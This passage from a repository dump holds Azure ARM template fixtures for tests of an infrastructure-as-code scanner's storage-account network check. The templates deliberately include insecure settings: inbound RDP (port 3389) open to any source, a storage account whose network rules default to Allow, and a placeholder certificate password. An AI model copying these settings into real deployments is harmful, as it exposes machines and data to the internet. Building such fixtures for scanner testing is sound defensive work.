\"sslcertificatePwd\": \"[base64('certificate-key')]\"\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"None\",\n          \"virtualNetworkRules\": [\n            {\n              \"id\": \"[variables('subnetId')[0]]\",\n              \"action\": \"Allow\"\n            }\n          ],\n          \"defaultAction\": \"Allow\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"AzureServices\",\n          \"virtualNetworkRules\": [\n            {\n              \"id\": \"[variables('subnetId')[0]]\",\n              \"action\": \"Allow\"\n            }\n          ],\n          \"defaultAction\": \"Deny\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-UNKNOWN.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": \"defaultAction: allow\"\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-VARIABLE.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": 